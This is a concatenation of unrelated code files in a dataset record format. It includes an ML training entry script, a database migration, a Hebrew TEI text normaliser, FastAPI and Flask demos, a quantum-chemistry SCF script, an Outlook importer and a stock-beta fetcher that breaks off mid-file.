main()\n","repo_name":"knarfeh/githubissues2ebook","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3933,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"42403632967","text":"\"\"\"\nCreated by Alex Wang\nOn 2017-10-24\n\ncommom steps:\n1.argparser parameters\n2.load data\n3.build graph:including loss function,learning rate decay,optimization operation\n4.summary\n5.training、valid、save check point in loops\n6.testing\n\"\"\"\nimport os\nimport argparse\n\nfrom myutil.myprint import *\nfrom examples import ssd\n\nos.environ[\"CUDA_VISIBLE_DEVICES\"]='0'\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('-t', '--task', default='mehod_one', help='method type', type=str)\n \"\"\"\n common params\n \"\"\"\n parser.add_argument('--is_training', default=False, help='is training')\n\n parser.add_argument('--max_iter', default=20000, help='max training iterate times', type=int)\n parser.add_argument('--batch_size', default=16, help='batch size', type=int)\n # learning raate exponential_decay decayed_learning_rate = learning_rate * decay_rate ^ (global_step / decay_steps)\n parser.add_argument('--learning_rate', default=1.0, help='learning rate', type=float)\n parser.add_argument('--decay_step', default=10000, help='decay step', type=int)\n parser.add_argument('--decay_rate', default=0.9, help='decay rate', type=float)\n\n # model log/save path\n parser.add_argument('--vgg16_path', default=None, help='vgg16 pretrained model, vgg16_weights.npz')\n parser.add_argument('--input_dir', default=None, help='input data path, pickle file store train data, see img_info_load.py generate_train_pathes()', type=str)\n parser.add_argument('--save_model_dir', default=None, help='model dir', type=str)\n parser.add_argument('--save_model_freq', default=1000, help='save check point frequence', type=int)\n parser.add_argument('--summary_dir', default=None, help='summary dir', type=str)\n parser.add_argument('--summary_freq', default=100, help='summary frequency', type=int)\n parser.add_argument('--print_info_freq', default=100, help='print training info frequency', type=int)\n # load checkpoint for initialization or inferencing if checkpoint is not None\n parser.add_argument('--checkpoint', default=None, help='pretrained model', type=str)\n parser.add_argument('--valid_freq', default=1000, help='validate frequence', type=int)\n\n \"\"\"\n params for train faster-rcnn\n \"\"\"\n parser.add_argument('--init_scale', default=0.04, help='the initial scale of the weights', type = float)\n # parser.add_argument('--max_grad_norm', default=5, help='the maximum permissible norm of the gradient', type=float)\n # parser.add_argument('--max_epoch', default=14, help='the number of epochs trained with the initial learning rate', type=int) -- decay step\n # parser.add_argument('--max_max_epoch', default=55, help='the total number of epochs for training', type=int)\n parser.add_argument('--keep_prob', default=0.8, help='the probability of keeping weights in the dropout layer', type=float)\n\n FLAGS = parser.parse_args()\n arg_parse_print(FLAGS)\n\n if FLAGS.task == 'train_ssd':\n print('train faster rcnn model.')\n ssd.train_faster_rcnn(FLAGS)\n elif FLAGS.task == 'train_ssd':\n print('test faster rcnn model.')\n # test_rnn(FLAGS)","repo_name":"alexwongdl/TFTemplate","sub_path":"MainEntryObject_detect.py","file_name":"MainEntryObject_detect.py","file_ext":"py","file_size_in_byte":3168,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"34268499990","text":"\"\"\"empty message\n\nRevision ID: 425500be663f\nRevises: ee90ed45fc44\nCreate Date: 2020-07-21 01:08:10.289281\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '425500be663f'\ndown_revision = 'ee90ed45fc44'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.alter_column('PortfolioMaster', 'total',\n existing_type=sa.REAL(),\n type_=sa.Numeric(),\n existing_nullable=False)\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.alter_column('PortfolioMaster', 'total',\n existing_type=sa.Numeric(),\n type_=sa.REAL(),\n existing_nullable=False)\n # ### end Alembic commands ###\n","repo_name":"MohmedH/OpulentGroupDashboard","sub_path":"migrations/versions/425500be663f_.py","file_name":"425500be663f_.py","file_ext":"py","file_size_in_byte":861,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"2978979511","text":"#!/usr/bin/env python3\n\nfrom lxml import etree as et\nimport unicodedata as ud\nimport re\n\n\"\"\"\nClass for normalizing TEI XML transcriptions of Hebrew text.\n\"\"\"\nclass tei_normalizer:\n \"\"\"\n XML namespaces\n \"\"\"\n xml_ns = 'http://www.w3.org/XML/1998/namespace'\n tei_ns = 'http://www.tei-c.org/ns/1.0'\n \"\"\"\n Dictionary of regular expressions, keyed by accentuation type:\n \"\"\"\n accentuatation_res = {\n 'cantillation': re.compile('[\\u0591-\\u05AF\\u05BD\\u05BF\\u200C-\\u200D]'), #meteg (\\u05BD) is described as a point in its Unicode name, but it's functionally an accent #TODO: should zero-width joiners and non-joiners (\\u200C-\\u200D) belong to the pointing accentuation set?\n 'pointing': re.compile('[\\u05B0-\\u05BC\\u05C1-\\u05C2\\u05C7]'),\n 'extraordinaire': re.compile('[\\u05C4-\\u05C5]')\n }\n \"\"\"\n Whitespace characters to facilitate pretty-printing, keyed by element tag:\n \"\"\"\n pretty_print_whitespace = {\n 'pb': '',\n 'cb': '',\n 'lb': '',\n 'p': '',\n 'space': '',\n 'app': '',\n 'lem': '',\n 'rdg': '',\n 'w': '',\n 'pc': ''\n }\n def __init__(self, **params):\n self.ignored_accent_set = params['a'] if 'a' in params else set()\n self.ignored_punc_set = params['p'] if 'p' in params else set()\n self.preferred_rdg_type = params['r'] if 'r' in params else None\n self.ignored_tag_set = params['t'] if 't' in params else set()\n \"\"\"\n Given a String, conditionally strips different types of accentuation from it according to the parameters of this normalizer.\n \"\"\"\n def format_text(self, s):\n s = ud.normalize('NFKD', s) #decompose any precomposed Unicode characters\n for accentuation_type in self.ignored_accent_set:\n regex = self.accentuatation_res[accentuation_type]\n s = re.sub(regex, '', s)\n s = ud.normalize('NFC', s) #re-compose the decomposed Unicode characters\n return s\n \"\"\"\n Given a String (assumed to have pointing), returns it with any plene / male letters replaced with their defective vocalizations.\n \"\"\"\n def strip_plene(self, s):\n #First, decompose any precomposed Unicode characters:\n s = ud.normalize('NFKD', s) \n #Then loop through the characters, grouping points with the appropriate characters:\n letters_re = re.compile('[\\u05D0-\\u05EA]')\n vowels_re = self.accentuatation_res['pointing']\n letters_with_pointing = []\n letter_with_pointing = ''\n new_letter = False\n for c in s:\n #Skip any characters that are not relevant to this process:\n if c != ' ' and letters_re.match(c) is None and vowels_re.match(c) is None:\n continue\n #If the current character is a space or a letter, then add all characters in the queue as a new letter with pointing:\n if c == ' ' or letters_re.match(c):\n letters_with_pointing.append(letter_with_pointing)\n letter_with_pointing = ''\n #Add the current character to the queue:\n letter_with_pointing += c\n #Add the remaining contents of the queue as a new letter with pointing:\n letters_with_pointing.append(letter_with_pointing)\n #Remove the empty first entry:\n letters_with_pointing = letters_with_pointing[1:]\n #Loop through this List and make the appropriate replacements:\n current_letter_with_pointing = ''\n prev_letter_with_pointing = ''\n for i in range(len(letters_with_pointing)):\n #Get the letter at this index:\n current_letter_with_pointing = letters_with_pointing[i]\n #If this is a space, then leave it unchanged:\n if current_letter_with_pointing == ' ':\n pass\n #If this is the first letter in a word, then leave it unchanged:\n elif i == 0 or prev_letter_with_pointing == ' ':\n pass\n #If this is the last letter in a word, then leave it unchanged:\n elif i == len(letters_with_pointing) - 1 or letters_with_pointing[i+1] == ' ':\n pass\n #If the current letter is an unpointed alef, then drop it:\n elif current_letter_with_pointing == '\\u05D0':\n letters_with_pointing[i] = ''\n #If the current letter is an unpointed vav preceded by an unpointed alef and this digraph isn't at the start of the word, \n #then drop both letters and add a holam to the letter before the digraph, if it isn't there already:\n elif current_letter_with_pointing == '\\u05D5' and prev_letter_with_pointing == '\\u05D0' and i > 1 and letters_with_pointing[i-2] != ' ':\n letters_with_pointing[i] = ''\n letters_with_pointing[i-1] = ''\n if '\\u05B9' not in letters_with_pointing[i-2]:\n letters_with_pointing[i-2] += '\\u05B9'\n #If the current letter is a vav with a (male) holam, then drop it and add a holam to the previous letter:\n elif current_letter_with_pointing == '\\u05D5\\u05B9':\n letters_with_pointing[i] = ''\n letters_with_pointing[i-1] += '\\u05B9'\n #If the current letter is a vav with a dagesh and no other pointing, then drop it and add a qubuts to the previous letter:\n elif current_letter_with_pointing == '\\u05D5\\u05BC':\n letters_with_pointing[i] = ''\n letters_with_pointing[i-1] += '\\u05BB'\n #If the current letter is an unpointed yodh and the previous letter is pointed with a hiriq, tsere, segol, or qamats, then drop this letter:\n elif current_letter_with_pointing == '\\u05D9' and ('\\u05B4' in prev_letter_with_pointing or '\\u05B5' in prev_letter_with_pointing or '\\u05B6' in prev_letter_with_pointing or '\\u05B8' in prev_letter_with_pointing):\n letters_with_pointing[i] = ''\n #If the current letter is a yodh with a sheva and the previous letter is pointed with a hiriq, tsere, or segol, then drop this letter:\n elif current_letter_with_pointing == '\\u05D9\\u05B0' and ('\\u05B4' in prev_letter_with_pointing or '\\u05B5' in prev_letter_with_pointing or '\\u05B6' in prev_letter_with_pointing):\n letters_with_pointing[i] = ''\n #Then update the previous letter and move on:\n prev_letter_with_pointing = current_letter_with_pointing\n #Then join the resulting characters into a single String:\n s = ''.join(letters_with_pointing)\n #Then re-compose the decomposed Unicode characters:\n s = ud.normalize('NFC', s)\n return s\n \"\"\"\n Given an XML element, adds the appropriate whitespace character to its tail to facilitate pretty-printing.\n \"\"\"\n def add_pretty_print_tail(self, xml):\n raw_tag = xml.tag.replace('{%s}' % self.tei_ns, '')\n if raw_tag in self.pretty_print_whitespace:\n whitespace = self.pretty_print_whitespace[raw_tag]\n xml.tail = whitespace if xml.text is None else xml.tail\n return\n \"\"\"\n Given a TEI XML element, returns a List of the children of the element whose type matches the preferred reading type of this normalizer.\n \"\"\"\n def get_preferred_rdg_elements(self, xml):\n rdg_children = []\n rdg = xml.xpath('tei:rdg[@type=\\'%s\\']' % self.preferred_rdg_type, namespaces={'tei': self.tei_ns})[0]\n for child in rdg.getchildren():\n rdg_children.append(child)\n return rdg_children\n \"\"\"\n Recursively normalizes an input XML element and its children according to the parameters of this normalizer.\n \"\"\"\n def normalize(self, xml):\n out_xml = None\n #If this is a tree, then normalize the root:\n if not et.iselement(xml):\n out_xml = self.normalize(xml.getroot())\n return et.ElementTree(out_xml)\n #Get the element tag:\n tag = xml.tag\n #Convert hierarchical div and ab elements to flat milestone elements:\n if tag.replace('{%s}' % self.tei_ns, '') in ['div', 'ab']:\n tag = '{%s}milestone' % self.tei_ns\n #If this element has no parent, then add the namespace map to the normalized element:\n if xml.getparent() is None:\n out_xml = et.Element(tag, nsmap={None: self.tei_ns, 'xml': self.xml_ns})\n #Otherwise, generate the XML element without the namespace map:\n else:\n out_xml = et.Element(tag)\n #If the original element was a verse division, then add an attribute indicating this:\n if xml.tag.replace('{%s}' % self.tei_ns, '') == 'ab':\n out_xml.set('unit', 'verse')\n #Copy all attributes to the output element:\n for attr in xml.attrib:\n #If the element was a textual division, then replace their \"type\" attribute with a \"unit\" attribute;\n if xml.tag.replace('{%s}' % self.tei_ns, '') in ['div'] and attr == 'type':\n out_xml.set('unit', xml.get(attr))\n #Otherwise, copy the attribute as-is:\n else:\n out_xml.set(attr, xml.get(attr))\n #Conditionally format the text:\n if xml.text is not None:\n out_xml.text = self.format_text(xml.text)\n #Then recursively normalize all child elements:\n for child in xml.getchildren():\n #Skip elements whose tags are in the ignored tag set:\n if child.tag.replace('{%s}' % self.tei_ns, '') in self.ignored_tag_set:\n #But conditionally format their tails, if they has one: \n if child.tail is not None:\n tail = self.format_text(child.tail)\n #Append this tail to the last child of the output element,\n #or to the text of the output element if it has no children:\n if len(out_xml.getchildren()) > 0:\n last = out_xml.getchildren()[-1]\n last.tail = last.tail + tail if last.tail is not None else tail\n else:\n out_xml.text = out_xml.text + tail if out_xml.text is not None else tail\n continue\n #Skip punctuation elements whose text values are in the ignored punctuation set:\n if child.tag.replace('{%s}' % self.tei_ns, '') == 'pc':\n if child.text is not None and child.text in self.ignored_punc_set:\n #But conditionally format their tails, if they has one: \n if child.tail is not None:\n tail = self.format_text(child.tail)\n #Append this tail to the last child of the output element,\n #or to the text of the output element if it has no children:\n if len(out_xml.getchildren()) > 0:\n last = out_xml.getchildren()[-1]\n last.tail = last.tail + tail if last.tail is not None else tail\n else:\n out_xml.text = out_xml.text + tail if out_xml.text is not None else tail\n continue\n out_child = self.normalize(child)\n #If the child is an app instance, then process it conditionally:\n if out_child.tag.replace('{%s}' % self.tei_ns, '') == 'app':\n if self.preferred_rdg_type is not None:\n #Just get the ketiv reading's child elements, and add them instead:\n preferred_rdg_elements = self.get_preferred_rdg_elements(out_child)\n for out_grandchild in preferred_rdg_elements:\n out_xml.append(out_grandchild)\n else:\n out_xml.append(out_child)\n #Otherwise, if the child has been converted to a milestone instance, then make its children its siblings:\n elif out_child.tag.replace('{%s}' % self.tei_ns, '') == 'milestone':\n out_grandchildren = out_child.getchildren()\n for out_grandchild in out_grandchildren:\n out_child.remove(out_grandchild)\n out_child.text = None #Remove whitespace to ensure that the element's opening and closing tags are merged\n out_xml.append(out_child)\n for out_grandchild in out_grandchildren:\n out_xml.append(out_grandchild)\n #Otherwise, append the child normally:\n else:\n out_xml.append(out_child)\n #Conditionally format the tail of the child element:\n if child.tail is not None:\n out_child.tail = self.format_text(child.tail)\n else:\n self.add_pretty_print_tail(out_child)\n return out_xml\n","repo_name":"jjmccollum/solid-rock-hb","sub_path":"py/tei_normalizer.py","file_name":"tei_normalizer.py","file_ext":"py","file_size_in_byte":12838,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"37"} +{"seq_id":"32990806489","text":"from email.policy import default\nfrom fastapi import FastAPI\nfrom fastapi import HTTPException\nfrom fastapi import status\nfrom fastapi import Path, Query\nfrom typing import Optional\n\nfrom models import Curso\nfrom fastapi.responses import JSONResponse, Response\n\napp = FastAPI()\ncursos = {\n 1: {\n 'titulo': 'C1',\n 'aulas': 112,\n 'horas': 58\n },\n\n 2: {\n 'titulo': 'C2',\n 'aulas': 87,\n 'horas': 67\n }\n}\n\n@app.get('/cursos')\nasync def get_cursos():\n return cursos\n\n\n@app.get('/cursos/{id_curso}')\nasync def get_curso(id_curso: int = Path(default = None, title='ID do curso',\n description='Deve ser entre 1 e 2', gt=0, lt=3)):\n try:\n curso = cursos[id_curso]\n curso.update({'id': id_curso})\n return curso\n except KeyError:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND,\n detail = 'Curso não encontrado')\n \n\n@app.post('/cursos', status_code=status.HTTP_201_CREATED)\nasync def post_curso(curso: Curso):\n next_id: int = int(max(cursos)) + 1\n cursos[next_id] = curso\n del curso.id\n return curso\n\n@app.put('/cursos/{curso_id}')\nasync def put_curso(curso_id: int, curso: Curso):\n if curso_id in cursos:\n del curso.id\n cursos[curso_id] = curso\n return curso\n \n else:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND,\n detail = 'Curso não encontrado')\n \n\n@app.delete('/cursos/{curso_id}')\nasync def delete_curso(curso_id: int):\n if curso_id in cursos:\n del cursos[curso_id]\n return Response(status_code=status.HTTP_204_NO_CONTENT)\n else:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND,\n detail = 'Curso não encontrado')\n\n\n\n@app.get('/calculadora')\nasync def calcular(a: int, b: int, c: int = Query(default = None, gt=5)):\n c=c if c else 0\n resultado = a + b + c\n return {'resultado': resultado}\n\n\n\nif __name__ == '__main__':\n import uvicorn\n\n uvicorn.run('main:app', host='0.0.0.0', port=8000, reload=True)\n\n\n","repo_name":"Fabiocke/python-fastapi-curso","sub_path":"FAMP/secao03/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2093,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"39720045861","text":"import pytest\n\nfrom mappings.hathitrust import HathiMapping\n\n\nclass TestHathingMapping:\n @pytest.fixture\n def testMapping(self, testStatics):\n class TestHathi(HathiMapping):\n def __init__(self):\n self.source = None\n self.mapping = None\n self.staticValues = testStatics\n\n def applyMapping(self):\n pass\n \n return TestHathi()\n\n @pytest.fixture\n def testRecord_standard(self, mocker):\n return mocker.MagicMock(\n identifiers=['1|hathi', '2|test', '3,4|test'],\n dates=['Test Publisher [1900]|publication_date', '2000 [other]|copyright_date'],\n contributors=['contr|test'],\n rights='hathitrust|testLic|testReas|statement|',\n spatial='tst '\n )\n\n @pytest.fixture\n def testStatics(self):\n return {\n 'hathitrust': {\n 'sourceCodes': {'contr': 'Contributor'},\n 'rightsValues': {'testLic': {'license': 'test', 'statement': 'Test License'}},\n 'rightsReasons': {'testReas': 'Test Reason'}\n },\n 'marc': {\n 'countryCodes': {'tst': 'Test Country'}\n }\n }\n\n def test_createMapping(self, testMapping):\n recordMapping = testMapping.createMapping()\n\n assert list(recordMapping.keys()) == [\n 'identifiers', 'rights', 'is_part_of', 'title', 'dates', 'requires',\n 'spatial', 'languages', 'contributors', 'authors'\n ]\n assert recordMapping['title'] == ('{}', 11)\n assert recordMapping['dates'] == [('{}|publication_date', 12), ('{}|copyright_date', 16)]\n\n def test_applyFormatting(self, testMapping, testRecord_standard):\n testMapping.record = testRecord_standard\n testMapping.source = [''] * 24\n testMapping.source[0] = 'recordID'\n\n testMapping.applyFormatting()\n\n assert testMapping.record.source == 'hathitrust'\n assert testMapping.record.source_id == '1|hathi'\n assert testMapping.record.identifiers == ['1|hathi', '2|test', '3|test', '4|test']\n assert testMapping.record.dates == ['1900|publication_date', '2000 [other]|copyright_date']\n assert testMapping.record.publisher == ['Test Publisher||']\n assert testMapping.record.contributors == ['Contributor|test']\n assert testMapping.record.rights == 'hathitrust|test|Test Reason|Test License|'\n assert testMapping.record.has_part == [\n '1|https://babel.hathitrust.org/cgi/pt?id=recordID|hathitrust|text/html|{\"reader\": false, \"download\": false, \"catalog\": false, \"embed\": true}',\n '1|https://babel.hathitrust.org/cgi/imgsrv/download/pdf?id=recordID|hathitrust|application/pdf|{\"reader\": false, \"download\": true, \"catalog\": false}',\n ]\n assert testMapping.record.spatial == 'Test Country'\n\n def test_applyFormatting_no_pub_date(self, testMapping, testRecord_standard):\n testRecord_standard.dates = ['|publication_date']\n testMapping.record = testRecord_standard\n testMapping.source = [''] * 24\n\n testMapping.applyFormatting()\n\n assert testMapping.record.dates == []\n assert testMapping.record.publisher == ['||']\n\n def test_applyFormatting_google(self, testMapping, testRecord_standard):\n testMapping.record = testRecord_standard\n testMapping.source = [''] * 24\n testMapping.source[0] = 'recordID'\n testMapping.source[23] = 'Google'\n\n testMapping.applyFormatting()\n\n assert len(testMapping.record.has_part) == 1\n assert testMapping.record.has_part == [\n '1|https://babel.hathitrust.org/cgi/pt?id=recordID|hathitrust|text/html|{\"reader\": false, \"download\": false, \"catalog\": false, \"embed\": true}'\n ]","repo_name":"NYPL/drb-etl-pipeline","sub_path":"tests/unit/test_hathitrust_mapping.py","file_name":"test_hathitrust_mapping.py","file_ext":"py","file_size_in_byte":3831,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"37"} +{"seq_id":"36141487817","text":"from flask import Flask\nfrom flask_sqlalchemy import SQLAlchemy\n\nimport random\n\n\napp = Flask(__name__)\napp.config[\"SQLALCHEMY_DATABASE_URI\"] = \"mysql://root:samatosa@localhost/notifix1\"\n\ndb = SQLAlchemy(app)\n\n\n\n# ----------------- SIMPLE SqlAlchemy Model ------------------------\nclass simple_list(db.Model):\n\tid = db.Column(db.Integer, primary_key=True)\n\tusername = db.Column(db.String(80), unique=True)\n\temail = db.Column(db.String(120), unique=True)\n\n\tdef __init__(self, username, email):\n\t\tself.username = username\n\t\tself.email = email\n\n\tdef __repr__(self):\n\t\treturn \"User: %s | Email: %s\" % (self.username, self.email)\n\n\n# ----------------- ONE to MANY Relationship -----------------------\nclass Person(db.Model):\n\tid = db.Column(db.Integer, primary_key=True)\n\tname = db.Column(db.String(50))\n\taddresses = db.relationship(\"Address\", backref=\"person\", lazy=\"dynamic\")\n\nclass Address(db.Model):\n\tid = db.Column(db.Integer, primary_key=True)\n\temail = db.Column(db.String(50))\n\tperson_id = db.Column(db.Integer, db.ForeignKey(\"person.id\"))\n\n\n#class Person(db.Model):\n#\tid = db.Column(db.Integer, primary_key=True)\n#\tname = db.Column(db.String(50))\n#\taddresses = db.relationship(\"Address\", backref = db.backref(\"person\", lazy=\"joined\"), lazy=\"dynamic\")\n\n\n\n# ---------------- MANY to MANY Relations ---------------------------\ntags = db.Table(\"tags\", db.Column(\"tag_id\", db.Integer, db.ForeignKey(\"tag.id\")), db.Column(\"page_id\", db.Integer, db.ForeignKey(\"page.id\")))\n\nclass Page(db.Model):\n\tid = db.Column(db.Integer, primary_key=True)\n\ttags = db.relationship(\"Tag\", secondary=tags, backref=db.backref(\"pages\", lazy=\"dynamic\"))\n\nclass Tag(db.Model):\n\tid = db.Column(db.Integer, primary_key=True)\n#--------------------------------------------------------------------\n\n\n\n#db.create_all()\n\n\n#CRUD functions =====================================================\n\n#Create new data sample on 'simple_list'\nsimple_data = simple_list(str(random.random()), str(random.random()) + \"@gmail.com\");\ndb.session.add(simple_data)\ndb.session.commit()\n\nprint(simple_list.query.all())\n\nPerson.query.join(Address).all()\n\n","repo_name":"netzonAdean/sampleNotifications","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2106,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"20402800936","text":"import mpmath\n\nmpmath.mp.dps = 50\n\nfrom RHF import *\nfrom matrices import *\nfrom integrals import *\nfrom basis import *\nfrom molecules import *\n\n###########################\n###########################\n###########################\n\nmol = H2 # Molecule\nbs = sto3g_H2 # Basis set\nN = 2 # Number of electrons\n\nmaxiter = 100 # Maximal number of iteration\n\nverbose = False # Print each SCF step\n\n###########################\n###########################\n###########################\n\n# Basis set size\nK = bs.K\n\n# print(\"Computing overlap matrix S...\")\nS = S_overlap(bs)\n\nif verbose:\n print(S)\n\n# print(\"Computing orthogonalization matrix X...\")\nX = X_transform(S)\n\nif verbose:\n print(X)\n\n# print(\"Computing core Hamiltonian...\")\nHc = H_core(bs, mol)\n\nif verbose:\n print(Hc)\n\n# print(\"Computing two-electron integrals...\")\nee = EE_list(bs)\n\nif verbose:\n print_EE_list(bs, ee)\n\nPnew = mpmath.matrix(K, K)\nP = mpmath.matrix(K, K)\n\nconverged = False\n\niter = 1\nwhile not converged:\n # print(\"\\n\\n\\n#####\\nSCF cycle \" + str(iter) + \":\")\n # print(\"#####\")\n\n Pnew, F, E = RHF_step(bs, mol, N, Hc, X, P, ee, verbose) # Perform an SCF step\n\n # Print results of the SCF step\n e = energy_tot(P, F, Hc, mol)\n # print(\" Orbital energies:\")\n # print(\" \", np.diag(E))\n\n # Check convergence of the SCF cycle\n dp = delta_P(P, Pnew)\n print(f\"{iter:>5} {mpmath.nstr(dp, 5, strip_zeros=False):10} {e}\")\n if dp < mpmath.mpf(f\"1e-{mpmath.mp.dps-5}\"):\n converged = True\n\n print(\n \"\\n\\n\\nTOTAL ENERGY:\", energy_tot(P, F, Hc, mol)\n ) # Print final, total energy\n\n P = Pnew\n\n iter += 1\n","repo_name":"ferchault/APDFT","sub_path":"prototyping/arbitrary-precision/HF.py","file_name":"HF.py","file_ext":"py","file_size_in_byte":1643,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"37"} +{"seq_id":"32162628211","text":"import openpyxl\r\nimport datetime\r\nfrom datetime import datetime\r\nimport win32com.client\r\noutlook = win32com.client.Dispatch(\"Outlook.Application\").GetNamespace('MAPI')\r\nwb = openpyxl.load_workbook(r'C:\\Users\\RakitinIS\\Documents\\parser\\input\\input.xlsx')\r\nsh = wb.active\r\nwb.iso_dates = True\r\n\r\ndef addevent(start, subject):\r\n import win32com.client\r\n oOutlook = win32com.client.Dispatch(\"Outlook.Application\")\r\n appointment = oOutlook.CreateItem(1) # 1=outlook appointment item\r\n appointment.Start = start\r\n appointment.Subject = subject\r\n appointment.Duration = 60\r\n appointment.ReminderSet = False\r\n appointment.Move(sharedCalendar)\r\n return\r\n\r\nfor i in range(1, 36):\r\n if (sh.cell(row = i, column = 1).value):\r\n subject = sh.cell(row = i, column = 1).value\r\n Date = sh.cell(row = i, column = 3).value\r\n Time = sh.cell(row = i, column = 4).value\r\n DateNoTime = Date.strftime(\"%Y-%m-%d\")\r\n start = str(DateNoTime) + ' ' + str(Time)\r\n print(subject)\r\n print(start)\r\n print('')\r\n addevent(start, subject)","repo_name":"FoxFromTheBox/parse2outlook","sub_path":"parserV2.py","file_name":"parserV2.py","file_ext":"py","file_size_in_byte":1058,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13074842815","text":"import yfinance as yf\nimport csv\nfrom concurrent.futures import ThreadPoolExecutor\nfrom typing import List, Dict\nimport pandas as pd\nimport shutil\n\nMAX_WORKERS = 5 # Global constant for max number of threads\n\nclass StockSymbolCollection:\n\n def __init__(self, csv_filename: str):\n \"\"\"\n Initializes the StockSymbolCollection with tickers from the given CSV file.\n\n Args:\n csv_filename (str): Path to the CSV file containing stock tickers.\n\n Attributes:\n tickers (List[str]): List of stock tickers.\n stock_data (Dict[str, Dict[str, float]]): Dictionary holding data about the stocks.\n \"\"\"\n self.tickers = self._load_tickers_from_csv(csv_filename)\n self.stock_data = {}\n\n def _load_tickers_from_csv(self, csv_filename: str) -> List[str]:\n \"\"\"\n Loads tickers from the given CSV file using pandas.\n\n Args:\n csv_filename (str): Path to the CSV file containing stock tickers.\n\n Returns:\n List[str]: List of stock tickers.\n \"\"\"\n df = pd.read_csv(csv_filename)\n \n # Assuming the tickers are in the first column.\n tickers = df.iloc[:, 0].tolist()\n \n return tickers\n\n\n def _is_valid_ticker(self, ticker: str) -> bool:\n \"\"\"\n Checks if a ticker is valid by fetching its historical data.\n\n Args:\n ticker (str): The stock ticker to validate.\n\n Returns:\n bool: True if valid, False otherwise.\n \"\"\"\n stock = yf.Ticker(ticker)\n\n rc = not stock.history(period='1d').empty\n print(f'Ticker {ticker} is valid: {rc}')\n return rc\n\n def _fetch_beta_for_ticker(self, ticker: str) -> Dict[str, float]:\n \"\"\"\n Fetches the beta value for a given ticker and prints the result.\n\n Args:\n ticker (str): The stock ticker.\n\n Returns:\n Dict[str, float]: A dictionary with ticker as key and its beta value.\n \"\"\"\n stock = yf.Ticker(ticker)\n beta = stock.info.get(\"beta\", None)\n \n # Print the fetched beta value for the ticker\n print(f\"Fetched {ticker}: Beta = {beta}\")\n \n return {ticker: {\"Beta\": beta}}\n\n def validate_tickers(self) -> None:\n \"\"\"\n Validates stock tickers and saves valid and invalid tickers to separate CSV files.\n Invalid tickers are then copied to 'train.csv'.\n Uses 10 threads for concurrent validation.\n \"\"\"\n valid_tickers = []\n invalid_tickers = []\n\n with ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:\n results = list(executor.map(self._is_valid_ticker, self.tickers))\n \n for ticker, is_valid in zip(self.tickers, results):\n if is_valid:\n valid_tickers.append(ticker)\n else:\n invalid_tickers.append(ticker)\n \n self._save_to_csv('valid_tickers.csv', valid_tickers)\n self._save_to_csv('invalid_tickers.csv', invalid_tickers)\n\n # Copy the contents of 'valid_tickers.csv' to 'train.csv'\n shutil.copy('valid_tickers.csv', 'train.csv')\n\n # Reinitialize self.tickers with the contents of 'train.csv'\n self.tickers = self._load_tickers_from_csv('valid_tickers.csv')\n\n\n def _save_to_csv(self, filename: str, tickers: List[str]) -> None:\n \"\"\"\n Saves a list of tickers to a CSV file.\n\n Args:\n filename (str): The name of the CSV file.\n tickers (List[str]): The list of stock tickers.\n \"\"\"\n with open(filename, 'w', newline='') as file:\n writer = csv.writer(file)\n for ticker in tickers:\n writer.writerow([ticker])\n\n def fetch_beta_values(self) -> None:\n \"\"\"\n Fetches beta values for each stock ticker and updates stock_data dictionary.\n Uses MAX_WORKERS threads for concurrent fetching.\n \"\"\"\n with ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:\n results = list(executor.map(self._fetch_beta_for_ticker, self.tickers))\n \n # Update the stock_data with fetched beta values.\n for data in results:\n self.stock_data.update(data)\n\n\n def display_beta_values(self) -> None:\n \"\"\"\n Displays beta values for each stock ticker. If Beta is None, it's set to 0.\n The results are sorted by Beta in descending order and saved to a CSV file.\n \"\"\"\n # Sort the stock_data based on Beta values (set to 0 if None) in descending order\n sorted_stock_data = dict(sorted(self.stock_data.items(), \n key=lambda item: item[1]['Beta'] if item[1]['Beta'] is not None else 0, \n reverse=True))\n\n # Update Beta values in the sorted dictionary to 0 if they are None\n for ticker, data in sorted_stock_data.items():\n if data['Beta'] is None:\n data['Beta'] = 0\n\n # Print the sorted data\n for ticker, data in sorted_stock_data.items():\n print(f\"{ticker}: Beta = {data['Beta']}\")\n\n # Save the sorted data to a CSV file\n with open('sorted_beta_values.csv', 'w', newline='') as file:\n writer = csv.writer(file)\n writer.writerow([\"Ticker\", \"Beta\"]) # header row\n for ticker, data in sorted_stock_data.items():\n writer.writerow([ticker, data['Beta']])\n\n @classmethod\n def exec(cls, csv_filename: str) -> None:\n \"\"\"\n Validates tickers, fetches their beta values, and displays the results.\n\n Args:\n csv_filename (str): Path to the CSV file containing stock tickers.\n \"\"\"\n collection_instance = cls(csv_filename)\n collection_instance.validate_tickers()\n collection_instance.fetch_beta_values()\n collection_instance.display_beta_values()\n\nif __name__ == \"__main__\":\n # Specify the path to your CSV file.\n csv_filename = 'train_base.csv'\n 